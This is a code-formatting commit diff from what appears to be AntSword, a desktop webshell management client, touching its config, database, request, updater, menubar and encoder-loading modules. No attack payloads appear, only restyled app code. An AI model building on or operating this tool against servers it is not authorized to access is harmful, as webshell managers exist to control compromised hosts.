Commit 0c4b2415 authored by Medicean's avatar Medicean

(Other: Format) 美化代码

parent a10727c3
...@@ -8,7 +8,11 @@ ...@@ -8,7 +8,11 @@
const path = require('path'); const path = require('path');
const electron = require('electron'); const electron = require('electron');
const {app, protocol, BrowserWindow} = require('electron'); const {
app,
protocol,
BrowserWindow
} = require('electron');
// 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL, // 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL,
// indexedDB, cookies) 被禁止访问非标准schemes // indexedDB, cookies) 被禁止访问非标准schemes
......
...@@ -37,7 +37,7 @@ class Cache { ...@@ -37,7 +37,7 @@ class Cache {
* @param {String} id 数据存储文件名 * @param {String} id 数据存储文件名
* @return {[type]} [description] * @return {[type]} [description]
*/ */
createDB(id = String(+ new Date)) { createDB(id = String(+new Date)) {
return new Datastore({ return new Datastore({
filename: path.join(CONF.cachePath, id), filename: path.join(CONF.cachePath, id),
autoload: true autoload: true
......
...@@ -19,9 +19,9 @@ class Conf { ...@@ -19,9 +19,9 @@ class Conf {
// 数据存储目录 // 数据存储目录
this.basePath = path.join(process.env.AS_WORKDIR, 'antData') this.basePath = path.join(process.env.AS_WORKDIR, 'antData')
// 初始化目录 // 初始化目录
!fs.existsSync(this.basePath) !fs.existsSync(this.basePath) ?
? fs.mkdirSync(this.basePath) fs.mkdirSync(this.basePath) :
: null; null;
// 旧数据搬迁 // 旧数据搬迁
if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) { if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) {
fs.writeFileSync(this.dataPath, fs.readFileSync(_oldPath)) fs.writeFileSync(this.dataPath, fs.readFileSync(_oldPath))
...@@ -47,9 +47,9 @@ class Conf { ...@@ -47,9 +47,9 @@ class Conf {
get cachePath() { get cachePath() {
let _ = path.join(this.basePath, '/cache/'); let _ = path.join(this.basePath, '/cache/');
// 创建缓存目录 // 创建缓存目录
!fs.existsSync(_) !fs.existsSync(_) ?
? fs.mkdirSync(_) fs.mkdirSync(_) :
: null; null;
return _; return _;
} }
...@@ -60,9 +60,9 @@ class Conf { ...@@ -60,9 +60,9 @@ class Conf {
*/ */
get plugPath() { get plugPath() {
let _ = path.join(this.basePath, '/plugins/'); let _ = path.join(this.basePath, '/plugins/');
!fs.existsSync(_) !fs.existsSync(_) ?
? fs.mkdirSync(_) fs.mkdirSync(_) :
: null; null;
return _; return _;
} }
...@@ -73,9 +73,9 @@ class Conf { ...@@ -73,9 +73,9 @@ class Conf {
*/ */
get tmpPath() { get tmpPath() {
let _ = path.join(this.basePath, '/.temp/'); let _ = path.join(this.basePath, '/.temp/');
!fs.existsSync(_) !fs.existsSync(_) ?
? fs.mkdirSync(_) fs.mkdirSync(_) :
: null; null;
return _; return _;
} }
......
...@@ -23,7 +23,10 @@ class Database { ...@@ -23,7 +23,10 @@ class Database {
*/ */
constructor(electron) { constructor(electron) {
logger = new electron.Logger('Database'); logger = new electron.Logger('Database');
this.cursor = new Datastore({filename: CONF.dataPath, autoload: true}); this.cursor = new Datastore({
filename: CONF.dataPath,
autoload: true
});
// 监听事件 // 监听事件
electron electron
.ipcMain .ipcMain
...@@ -56,7 +59,7 @@ class Database { ...@@ -56,7 +59,7 @@ class Database {
Object Object
.keys(opts) .keys(opts)
.map((f) => { .map((f) => {
if (opts[f]instanceof Object) { if (opts[f] instanceof Object) {
opts[f] = self.convertOptstoNedbQuery(opts[f]); opts[f] = self.convertOptstoNedbQuery(opts[f]);
} }
if (f == "$regex") { if (f == "$regex") {
...@@ -81,7 +84,9 @@ class Database { ...@@ -81,7 +84,9 @@ class Database {
this this
.cursor .cursor
.find(opts) .find(opts)
.sort({utime: -1}) .sort({
utime: -1
})
.exec((err, ret) => { .exec((err, ret) => {
event.returnValue = ret || []; event.returnValue = ret || [];
}); });
...@@ -125,7 +130,10 @@ class Database { ...@@ -125,7 +130,10 @@ class Database {
} }
// 获取地理位置 // 获取地理位置
const _addr = qqwry.searchIP(ip); const _addr = qqwry.searchIP(ip);
return res({ip: ip, addr: `${_addr.Country} ${_addr.Area}`}); return res({
ip: ip,
addr: `${_addr.Country} ${_addr.Area}`
});
}) })
}) })
} }
...@@ -159,8 +167,8 @@ class Database { ...@@ -159,8 +167,8 @@ class Database {
decoder: opts.base['decoder'], decoder: opts.base['decoder'],
httpConf: opts.http, httpConf: opts.http,
otherConf: opts.other, otherConf: opts.other,
ctime: + new Date, ctime: +new Date,
utime: + new Date utime: +new Date
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = _err || _ret; event.returnValue = _err || _ret;
}); });
...@@ -205,7 +213,7 @@ class Database { ...@@ -205,7 +213,7 @@ class Database {
decoder: _new.base['decoder'], decoder: _new.base['decoder'],
httpConf: _new.http, httpConf: _new.http,
otherConf: _new.other, otherConf: _new.other,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = _err || _ret; event.returnValue = _err || _ret;
...@@ -232,7 +240,7 @@ class Database { ...@@ -232,7 +240,7 @@ class Database {
}, { }, {
$set: { $set: {
httpConf: opt.conf, httpConf: opt.conf,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = _err || _ret; event.returnValue = _err || _ret;
...@@ -319,7 +327,7 @@ class Database { ...@@ -319,7 +327,7 @@ class Database {
}, { }, {
$set: { $set: {
category: opts['category'] || 'default', category: opts['category'] || 'default',
utime: + new Date utime: +new Date
} }
}, { }, {
multi: true multi: true
...@@ -343,7 +351,7 @@ class Database { ...@@ -343,7 +351,7 @@ class Database {
}, (err, ret) => { }, (err, ret) => {
let confs = ret['database'] || {}; let confs = ret['database'] || {};
// 随机Id(顺序增长 // 随机Id(顺序增长
const random_id = parseInt(+ new Date + Math.random() * 1000).toString(16); const random_id = parseInt(+new Date + Math.random() * 1000).toString(16);
// 添加到配置 // 添加到配置
confs[random_id] = opts['data']; confs[random_id] = opts['data'];
// 更新数据库 // 更新数据库
...@@ -354,7 +362,7 @@ class Database { ...@@ -354,7 +362,7 @@ class Database {
}, { }, {
$set: { $set: {
database: confs, database: confs,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = random_id; event.returnValue = random_id;
...@@ -386,7 +394,7 @@ class Database { ...@@ -386,7 +394,7 @@ class Database {
}, { }, {
$set: { $set: {
database: confs, database: confs,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = opts['id']; event.returnValue = opts['id'];
...@@ -419,7 +427,7 @@ class Database { ...@@ -419,7 +427,7 @@ class Database {
}, { }, {
$set: { $set: {
database: confs, database: confs,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = _err || _ret; event.returnValue = _err || _ret;
...@@ -462,11 +470,11 @@ class Database { ...@@ -462,11 +470,11 @@ class Database {
ret['plugins'] = ret['plugins'] || {}; ret['plugins'] = ret['plugins'] || {};
let confs = ret['plugins'][plugin] || {}; let confs = ret['plugins'][plugin] || {};
// 随机Id(顺序增长 // 随机Id(顺序增长
const random_id = parseInt(+ new Date + Math.random() * 1000).toString(16); const random_id = parseInt(+new Date + Math.random() * 1000).toString(16);
// 添加到配置 // 添加到配置
confs[random_id] = opts['data']; confs[random_id] = opts['data'];
let setdata = { let setdata = {
utime: + new Date utime: +new Date
} }
setdata[`plugins.${plugin}`] = confs; setdata[`plugins.${plugin}`] = confs;
...@@ -501,7 +509,7 @@ class Database { ...@@ -501,7 +509,7 @@ class Database {
// 添加到配置 // 添加到配置
confs[opts['id']] = opts['data']; confs[opts['id']] = opts['data'];
let setdata = { let setdata = {
utime: + new Date utime: +new Date
} }
setdata[`plugins.${plugin}`] = confs; setdata[`plugins.${plugin}`] = confs;
// 更新数据库 // 更新数据库
...@@ -537,7 +545,7 @@ class Database { ...@@ -537,7 +545,7 @@ class Database {
// 2. 删除配置 // 2. 删除配置
delete confs[opts['id']]; delete confs[opts['id']];
let setdata = { let setdata = {
utime: + new Date utime: +new Date
} }
setdata[`plugins.${plugin}`] = confs; setdata[`plugins.${plugin}`] = confs;
// 3. 更新数据库 // 3. 更新数据库
......
...@@ -24,9 +24,9 @@ class Logger { ...@@ -24,9 +24,9 @@ class Logger {
let tm = new Date() let tm = new Date()
.toTimeString() .toTimeString()
.split(' ')[0]; .split(' ')[0];
let log = typeof logs === 'object' let log = typeof logs === 'object' ?
? JSON.stringify(logs) JSON.stringify(logs) :
: String(logs); String(logs);
return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`; return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`;
} }
......
...@@ -39,12 +39,10 @@ class Menubar { ...@@ -39,12 +39,10 @@ class Menubar {
*/ */
reload(event, LANG) { reload(event, LANG) {
// 菜单模板 // 菜单模板
const template = [ const template = [{
{
// 主菜单 // 主菜单
label: LANG['main']['title'], label: LANG['main']['title'],
submenu: [ submenu: [{
{
label: LANG['main']['about'], label: LANG['main']['about'],
accelerator: 'Shift+CmdOrCtrl+I', accelerator: 'Shift+CmdOrCtrl+I',
click: event click: event
...@@ -117,13 +115,11 @@ class Menubar { ...@@ -117,13 +115,11 @@ class Menubar {
.app .app
.quit .quit
.bind(this.app) .bind(this.app)
} }]
]
}, { }, {
// 编辑 // 编辑
label: LANG['edit']['title'], label: LANG['edit']['title'],
submenu: [ submenu: [{
{
label: LANG['edit']['undo'], label: LANG['edit']['undo'],
accelerator: 'CmdOrCtrl+Z', accelerator: 'CmdOrCtrl+Z',
role: 'undo' role: 'undo'
...@@ -160,13 +156,11 @@ class Menubar { ...@@ -160,13 +156,11 @@ class Menubar {
label: LANG['edit']['selectall'], label: LANG['edit']['selectall'],
accelerator: 'CmdOrCtrl+A', accelerator: 'CmdOrCtrl+A',
role: 'selectall' role: 'selectall'
} }]
]
}, { }, {
// 窗口 // 窗口
label: LANG['window']['title'], label: LANG['window']['title'],
submenu: [ submenu: [{
{
label: LANG['window']['next'], label: LANG['window']['next'],
accelerator: 'Shift+CmdOrCtrl+Right', accelerator: 'Shift+CmdOrCtrl+Right',
click: event click: event
...@@ -189,13 +183,11 @@ class Menubar { ...@@ -189,13 +183,11 @@ class Menubar {
.sender .sender
.send .send
.bind(event.sender, 'menubar', 'tabbar-close') .bind(event.sender, 'menubar', 'tabbar-close')
} }]
]
}, { }, {
// 调试 // 调试
label: LANG['debug']['title'], label: LANG['debug']['title'],
submenu: [ submenu: [{
{
label: LANG['debug']['restart'], label: LANG['debug']['restart'],
accelerator: 'Shift+CmdOrCtrl+R', accelerator: 'Shift+CmdOrCtrl+R',
click: () => { click: () => {
...@@ -216,10 +208,8 @@ class Menubar { ...@@ -216,10 +208,8 @@ class Menubar {
.webContents .webContents
.toggleDevTools .toggleDevTools
.bind(this.mainWindow.webContents) .bind(this.mainWindow.webContents)
} }]
] }];
}
];
// 更新菜单栏 // 更新菜单栏
this this
.Menu .Menu
...@@ -243,8 +233,7 @@ class Menubar { ...@@ -243,8 +233,7 @@ class Menubar {
image.setTemplateImage(true); image.setTemplateImage(true);
this.trayIcon = new this.Tray(image); this.trayIcon = new this.Tray(image);
} }
var trayMenuTemplate = [ var trayMenuTemplate = [{
{
label: LANG['tray']['show'], label: LANG['tray']['show'],
click: () => { click: () => {
this this
...@@ -296,8 +285,7 @@ class Menubar { ...@@ -296,8 +285,7 @@ class Menubar {
.app .app
.quit .quit
.bind(this.app) .bind(this.app)
} }];
];
this this
.trayIcon .trayIcon
......
...@@ -12,7 +12,9 @@ const fs = require('fs'), ...@@ -12,7 +12,9 @@ const fs = require('fs'),
CONF = require('./config'), CONF = require('./config'),
superagent = require('superagent'), superagent = require('superagent'),
superagentProxy = require('superagent-proxy'); superagentProxy = require('superagent-proxy');
const {Readable} = require("stream"); const {
Readable
} = require("stream");
let logger; let logger;
// 请求UA // 请求UA
...@@ -46,9 +48,9 @@ class Request { ...@@ -46,9 +48,9 @@ class Request {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
onAproxy(event, opts) { onAproxy(event, opts) {
logger.debug('aProxy::Set Proxy Mode -', APROXY_CONF['mode'] === 'manualproxy' logger.debug('aProxy::Set Proxy Mode -', APROXY_CONF['mode'] === 'manualproxy' ?
? APROXY_CONF['uri'] APROXY_CONF['uri'] :
: 'noproxy'); 'noproxy');
APROXY_CONF['mode'] = opts['aproxymode']; APROXY_CONF['mode'] = opts['aproxymode'];
APROXY_CONF['uri'] = opts['aproxyuri']; APROXY_CONF['uri'] = opts['aproxyuri'];
...@@ -145,15 +147,17 @@ class Request { ...@@ -145,15 +147,17 @@ class Request {
.sender .sender
.send('request-chunk-' + opts['hash'], chunk); .send('request-chunk-' + opts['hash'], chunk);
}, res, (err, ret) => { }, res, (err, ret) => {
let buff = ret let buff = ret ?
? ret ret :
: Buffer.from(); Buffer.from();
// 自动猜测编码 // 自动猜测编码
let encoding = detectEncoding(buff, {defaultEncoding: "unknown"}); let encoding = detectEncoding(buff, {
defaultEncoding: "unknown"
});
logger.debug("detect encoding:", encoding); logger.debug("detect encoding:", encoding);
encoding = encoding != "unknown" encoding = encoding != "unknown" ?
? encoding encoding :
: opts['encode']; opts['encode'];
let text = iconv.decode(buff, encoding); let text = iconv.decode(buff, encoding);
if (err && text == "") { if (err && text == "") {
return event return event
...@@ -221,17 +225,19 @@ class Request { ...@@ -221,17 +225,19 @@ class Request {
.sender .sender
.send('request-error-' + opts['hash'], err); .send('request-error-' + opts['hash'], err);
} }
let buff = ret.hasOwnProperty('body') let buff = ret.hasOwnProperty('body') ?
? ret.body ret.body :
: Buffer.from(); Buffer.from();
// 解码 // 解码
let text = ""; let text = "";
// 自动猜测编码 // 自动猜测编码
let encoding = detectEncoding(buff, {defaultEncoding: "unknown"}); let encoding = detectEncoding(buff, {
defaultEncoding: "unknown"
});
logger.debug("detect encoding:", encoding); logger.debug("detect encoding:", encoding);
encoding = encoding != "unknown" encoding = encoding != "unknown" ?
? encoding encoding :
: opts['encode']; opts['encode'];
text = iconv.decode(buff, encoding); text = iconv.decode(buff, encoding);
if (err && text == "") { if (err && text == "") {
return event return event
...@@ -416,15 +422,15 @@ class Request { ...@@ -416,15 +422,15 @@ class Request {
let index_s = chunkHex.indexOf(tagHexS); let index_s = chunkHex.indexOf(tagHexS);
let index_e = chunkHex.lastIndexOf(tagHexE); let index_e = chunkHex.lastIndexOf(tagHexE);
temp = chunkHex.substr(index_s + tagHexS.length, index_e - index_s - tagHexE.length); temp = chunkHex.substr(index_s + tagHexS.length, index_e - index_s - tagHexE.length);
foundTagS = foundTagE =// 如果只包含前截断,则截取后边 foundTagS = foundTagE = // 如果只包含前截断,则截取后边
true; true;
} else if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) === -1) { } else if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) === -1) {
temp = chunkHex.split(tagHexS)[1]; temp = chunkHex.split(tagHexS)[1];
foundTagS =// 如果只包含后截断,则截取前边 foundTagS = // 如果只包含后截断,则截取前边
true; true;
} else if (chunkHex.indexOf(tagHexS) === -1 && chunkHex.lastIndexOf(tagHexE) >= 0) { } else if (chunkHex.indexOf(tagHexS) === -1 && chunkHex.lastIndexOf(tagHexE) >= 0) {
temp = chunkHex.split(tagHexE)[0]; temp = chunkHex.split(tagHexE)[0];
foundTagE =// 如果有没有,那就是中途迷路的数据啦 ^.^ foundTagE = // 如果有没有,那就是中途迷路的数据啦 ^.^
true; true;
} else if (foundTagS && !foundTagE) { } else if (foundTagS && !foundTagE) {
temp = chunkHex; temp = chunkHex;
...@@ -465,29 +471,29 @@ function detectEncoding(buffer, options) { ...@@ -465,29 +471,29 @@ function detectEncoding(buffer, options) {
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING; var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE; var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer), var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii' encoding = ret.encoding === 'ascii' ?
? 'utf-8' 'utf-8' :
: ret.encoding, ret.encoding,
confidence = ret.confidence; confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp']; // var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) { if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose return verbose ?
? { {
encoding: defaultEncoding, encoding: defaultEncoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} } :
: defaultEncoding; defaultEncoding;
} else { } else {
encoding = encoding.toUpperCase(); encoding = encoding.toUpperCase();
return verbose return verbose ?
? { {
encoding: encoding, encoding: encoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} } :
: encoding; encoding;
} }
}; };
...@@ -503,15 +509,15 @@ class AntRead extends Readable { ...@@ -503,15 +509,15 @@ class AntRead extends Readable {
super(); super();
this.index = 0; this.index = 0;
let o = {}; let o = {};
o.step = options.hasOwnProperty('step') o.step = options.hasOwnProperty('step') ?
? parseInt(options['step']) parseInt(options['step']) :
: 2; 2;
o.step = o.step < 1 o.step = o.step < 1 ?
? 2 2 :
: o.step; o.step;
o.stepmax = options.hasOwnProperty('stepmax') o.stepmax = options.hasOwnProperty('stepmax') ?
? options['stepmax'] options['stepmax'] :
: o.step; o.step;
if (o.stepmax < o.step) { if (o.stepmax < o.step) {
o.stepmax = o.step; o.stepmax = o.step;
} }
......
...@@ -201,7 +201,11 @@ class Update { ...@@ -201,7 +201,11 @@ class Update {
// TODO: 需不需要备份? // TODO: 需不需要备份?
// TODO: 删除原来的 node_modules 目录 解压数据 // TODO: 删除原来的 node_modules 目录 解压数据
tar tar
.x({file: savePath, strip: 1, C: process.env.AS_WORKDIR}) .x({
file: savePath,
strip: 1,
C: process.env.AS_WORKDIR
})
.then(_ => { .then(_ => {
that that
.logger .logger
......
...@@ -80,7 +80,7 @@ const antSword = window.antSword = { ...@@ -80,7 +80,7 @@ const antSword = window.antSword = {
if (!value) { if (!value) {
return localStorage.getItem(key) || def; return localStorage.getItem(key) || def;
}; };
if (typeof(value) === "object") if (typeof (value) === "object")
value = JSON.stringify(value); value = JSON.stringify(value);
// 设置 // 设置
...@@ -152,17 +152,17 @@ antSword['encoders'] = (function () { ...@@ -152,17 +152,17 @@ antSword['encoders'] = (function () {
}; };
let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化 // 初始化
!fs.existsSync(userencoder_path) !fs.existsSync(userencoder_path) ?
? fs.mkdirSync(userencoder_path) fs.mkdirSync(userencoder_path) :
: null; null;
['asp', 'aspx', 'php', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'custom'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) !fs.existsSync(path.join(userencoder_path, `${t}`)) ?
? fs.mkdirSync(path.join(userencoder_path, `${t}`)) fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
: null; null;
let t_path = path.join(userencoder_path, `${t}/encoder/`); let t_path = path.join(userencoder_path, `${t}/encoder/`);
!fs.existsSync(t_path) !fs.existsSync(t_path) ?
? fs.mkdirSync(t_path) fs.mkdirSync(t_path) :
: null; null;
let es = fs.readdirSync(t_path); let es = fs.readdirSync(t_path);
if (es) { if (es) {
...@@ -205,17 +205,17 @@ antSword['decoders'] = (function () { ...@@ -205,17 +205,17 @@ antSword['decoders'] = (function () {
}; };
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化 // 初始化
!fs.existsSync(userdecoder_path) !fs.existsSync(userdecoder_path) ?
? fs.mkdirSync(userdecoder_path) fs.mkdirSync(userdecoder_path) :
: null; null;
['asp', 'aspx', 'php', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'custom'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) !fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
? fs.mkdirSync(path.join(userdecoder_path, `${t}`)) fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
: null; null;
let t_path = path.join(userdecoder_path, `${t}/decoder/`); let t_path = path.join(userdecoder_path, `${t}/decoder/`);
!fs.existsSync(t_path) !fs.existsSync(t_path) ?
? fs.mkdirSync(t_path) fs.mkdirSync(t_path) :
: null; null;
let es = fs.readdirSync(t_path); let es = fs.readdirSync(t_path);
if (es) { if (es) {
...@@ -253,9 +253,9 @@ const aproxy = { ...@@ -253,9 +253,9 @@ const aproxy = {
} }
antSword['aproxymode'] = aproxy['mode']; antSword['aproxymode'] = aproxy['mode'];
antSword['aproxyauth'] = (!aproxy['username'] || !aproxy['password']) antSword['aproxyauth'] = (!aproxy['username'] || !aproxy['password']) ?
? '' '' :
: `${aproxy['username']}:${aproxy['password']}`; `${aproxy['username']}:${aproxy['password']}`;
antSword['aproxyuri'] = `${aproxy['protocol']}:\/\/${antSword['aproxyauth']}${antSword['aproxyauth'] === "" antSword['aproxyuri'] = `${aproxy['protocol']}:\/\/${antSword['aproxyauth']}${antSword['aproxyauth'] === ""
? "" ? ""
...@@ -309,7 +309,7 @@ const groupLog = (opt, color) => { ...@@ -309,7 +309,7 @@ const groupLog = (opt, color) => {
// 监听后端消息 // 监听后端消息
ipcRenderer ipcRenderer
/** /**
* 刷新UI(shellmanager侧边栏 * 刷新UI(shellmanager侧边栏
* @param {[type]} 'reloadui' [description] * @param {[type]} 'reloadui' [description]
* @param {[type]} ( [description] * @param {[type]} ( [description]
...@@ -324,8 +324,8 @@ ipcRenderer ...@@ -324,8 +324,8 @@ ipcRenderer
.cell .cell
.setWidth(222); .setWidth(222);
}, 555); }, 555);
}) })
/** /**
* 通知提示 Loader 更新 * 通知提示 Loader 更新
* @param {[type]} 'notification-loader-update' [description] * @param {[type]} 'notification-loader-update' [description]
* @param {[type]} (e, opt [description] * @param {[type]} (e, opt [description]
...@@ -333,7 +333,8 @@ ipcRenderer ...@@ -333,7 +333,8 @@ ipcRenderer
*/ */
.on('notification-loader-update', (e, opt) => { .on('notification-loader-update', (e, opt) => {
const LANG = antSword["language"]["settings"]["update"]; const LANG = antSword["language"]["settings"]["update"];
let n = new Notification(antSword['language']['update']['title'], {body: antSword['language']['update']['body'](opt['ver']) let n = new Notification(antSword['language']['update']['title'], {
body: antSword['language']['update']['body'](opt['ver'])
}); });
n.addEventListener('click', () => { n.addEventListener('click', () => {
antSword antSword
...@@ -353,8 +354,8 @@ ipcRenderer ...@@ -353,8 +354,8 @@ ipcRenderer
.app .app
.quit(); .quit();
}); });
}) })
/** /**
* 通知提示更新 * 通知提示更新
* @param {[type]} 'notification-update' [description] * @param {[type]} 'notification-update' [description]
* @param {[type]} (e, opt [description] * @param {[type]} (e, opt [description]
...@@ -362,7 +363,8 @@ ipcRenderer ...@@ -362,7 +363,8 @@ ipcRenderer
*/ */
.on('notification-update', (e, opt) => { .on('notification-update', (e, opt) => {
const LANG = antSword["language"]["settings"]["update"]; const LANG = antSword["language"]["settings"]["update"];
let n = new Notification(antSword['language']['update']['title'], {body: antSword['language']['update']['body'](opt['ver']) let n = new Notification(antSword['language']['update']['title'], {
body: antSword['language']['update']['body'](opt['ver'])
}); });
// 文件大小计算 // 文件大小计算
const getFileSize = (t) => { const getFileSize = (t) => {
...@@ -391,7 +393,8 @@ ipcRenderer ...@@ -391,7 +393,8 @@ ipcRenderer
.openExternal(opt['url']); .openExternal(opt['url']);
}); });
const WIN = require('ui/window'); const WIN = require('ui/window');
let win = new WIN({title: antSword['language']['update']['title'], let win = new WIN({
title: antSword['language']['update']['title'],
height: 430, height: 430,
width: 480 width: 480
}); });
...@@ -412,8 +415,7 @@ ipcRenderer ...@@ -412,8 +415,7 @@ ipcRenderer
.cells('a') .cells('a')
.hideHeader(); .hideHeader();
let formdata = [ let formdata = [{
{
type: "label", type: "label",
name: "form_msg", name: "form_msg",
label: LANG["prompt"]["body"](opt['ver']), label: LANG["prompt"]["body"](opt['ver']),
...@@ -426,8 +428,7 @@ ipcRenderer ...@@ -426,8 +428,7 @@ ipcRenderer
inputHeight: 300 inputHeight: 300
}, { }, {
type: "block", type: "block",
list: [ list: [{
{
type: "newcolumn", type: "newcolumn",
offset: 20 offset: 20
}, { }, {
...@@ -449,10 +450,8 @@ ipcRenderer ...@@ -449,10 +450,8 @@ ipcRenderer
type: "button", type: "button",
name: "canclebtn", name: "canclebtn",
value: `<i class="fa fa-remove"></i> ${LANG["prompt"]["btns"]["no"]}` value: `<i class="fa fa-remove"></i> ${LANG["prompt"]["btns"]["no"]}`
} }]
] }];
}
];
uplayout uplayout
.cells('a') .cells('a')
.attachForm(formdata, true); .attachForm(formdata, true);
...@@ -517,7 +516,7 @@ ipcRenderer ...@@ -517,7 +516,7 @@ ipcRenderer
layer.alert(LANG["message"]["githint"](workdir)); layer.alert(LANG["message"]["githint"](workdir));
return return
} }
const hash = (String(+ new Date) + String(Math.random())) const hash = (String(+new Date) + String(Math.random()))
.substr(10, 10) .substr(10, 10)
.replace('.', '_'); .replace('.', '_');
//折叠 //折叠
...@@ -526,7 +525,9 @@ ipcRenderer ...@@ -526,7 +525,9 @@ ipcRenderer
.park(); .park();
antSword antSword
.ipcRenderer .ipcRenderer
.send("update-download", {hash: hash}); .send("update-download", {
hash: hash
});
win win
.win .win
.progressOn(); .progressOn();
...@@ -561,7 +562,7 @@ ipcRenderer ...@@ -561,7 +562,7 @@ ipcRenderer
break; break;
} }
}); });
}).on('update-success', (e, opt) => { }).on('update-success', (e, opt) => {
const LANG = antSword['language']['settings']['update']; const LANG = antSword['language']['settings']['update'];
toastr.success(antSword["language"]["success"], LANG["message"]["success"]); toastr.success(antSword["language"]["success"], LANG["message"]["success"]);
layer.confirm(LANG['message']['success'], { layer.confirm(LANG['message']['success'], {
...@@ -575,28 +576,28 @@ ipcRenderer ...@@ -575,28 +576,28 @@ ipcRenderer
.app .app
.quit(); .quit();
}); });
}) })
/** /**
* 重新加载本地插件 * 重新加载本地插件
* @param {[type]} 'reloadPlug' [description] * @param {[type]} 'reloadPlug' [description]
* @param {[type]} ( [description] * @param {[type]} ( [description]
* @return {[type]} [description] * @return {[type]} [description]
*/ */
.on('reloadPlug', antSword.reloadPlug.bind(antSword)) .on('reloadPlug', antSword.reloadPlug.bind(antSword))
/** /**
* 后端日志输出 * 后端日志输出
* + 用于在前端控制台输出后端的日志 * + 用于在前端控制台输出后端的日志
* - 可使用`antSword.logs[id]`来获取详细日志 * - 可使用`antSword.logs[id]`来获取详细日志
*/ */
.on('logger-debug', (e, opt) => { .on('logger-debug', (e, opt) => {
groupLog(opt, '#607D8B'); groupLog(opt, '#607D8B');
}).on('logger-info', (e, opt) => { }).on('logger-info', (e, opt) => {
groupLog(opt, '#4CAF50'); groupLog(opt, '#4CAF50');
}).on('logger-warn', (e, opt) => { }).on('logger-warn', (e, opt) => {
groupLog(opt, '#FF9800'); groupLog(opt, '#FF9800');
}).on('logger-fatal', (e, opt) => { }).on('logger-fatal', (e, opt) => {
groupLog(opt, '#E91E63'); groupLog(opt, '#E91E63');
}); });
antSword.reloadPlug(); antSword.reloadPlug();
antSword['menubar'].reg('check-update', () => { antSword['menubar'].reg('check-update', () => {
...@@ -612,13 +613,7 @@ if (new Date() - new Date(antSword['storage']('lastautocheck', false, "0")) >= 8 ...@@ -612,13 +613,7 @@ if (new Date() - new Date(antSword['storage']('lastautocheck', false, "0")) >= 8
// 检查更新 // 检查更新
antSword['storage']('lastautocheck', new Date().getTime()); antSword['storage']('lastautocheck', new Date().getTime());
setTimeout(() => { setTimeout(() => {
antSword antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-update');
.ipcRenderer antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-loader-update');
.send
.bind(antSword.ipcRenderer, 'check-update');
antSword
.ipcRenderer
.send
.bind(antSword.ipcRenderer, 'check-loader-update');
}, 1000 * 60); }, 1000 * 60);
} }
\ No newline at end of file
...@@ -16,9 +16,9 @@ class CacheManager { ...@@ -16,9 +16,9 @@ class CacheManager {
id: this.id, id: this.id,
tag: tag tag: tag
}); });
return ret return ret ?
? ret['cache'] ret['cache'] :
: false; false;
} }
// 更新缓存 // 更新缓存
...@@ -40,7 +40,9 @@ class CacheManager { ...@@ -40,7 +40,9 @@ class CacheManager {
// 清空缓存 // 清空缓存
clear() { clear() {
return this.sender('cache-clear', {id: this.id}); return this.sender('cache-clear', {
id: this.id
});
} }
} }
......
...@@ -29,29 +29,29 @@ class Decodes { ...@@ -29,29 +29,29 @@ class Decodes {
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING; var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE; var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer), var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii' encoding = ret.encoding === 'ascii' ?
? 'utf-8' 'utf-8' :
: ret.encoding, ret.encoding,
confidence = ret.confidence; confidence = ret.confidence;
